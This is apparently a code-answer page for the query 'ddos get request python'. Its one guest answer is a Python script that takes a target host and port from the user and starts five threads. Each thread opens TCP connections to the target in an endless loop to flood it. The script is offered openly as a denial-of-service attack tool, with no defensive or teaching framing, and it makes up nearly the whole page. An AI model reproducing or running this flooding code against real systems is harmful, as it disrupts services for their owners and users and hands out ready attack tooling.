Answers for "ddos get request python"

0

ddos python

#!/usr/bin/python3
import os
import socket
import sys
import threading
os.system("cls")
host = input("\nEnter host: ")
port = int(input("\nEnter port: "))
print("\n")
def run(h):
    while True:
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((host,port))
        print("Packet send to " + host)
for i in range(5):
    t = threading.Thread(target=run, args=[i])
    t.start()
Posted by: Guest on August-01-2021

Python Answers by Framework

Browse Popular Code Answers by Language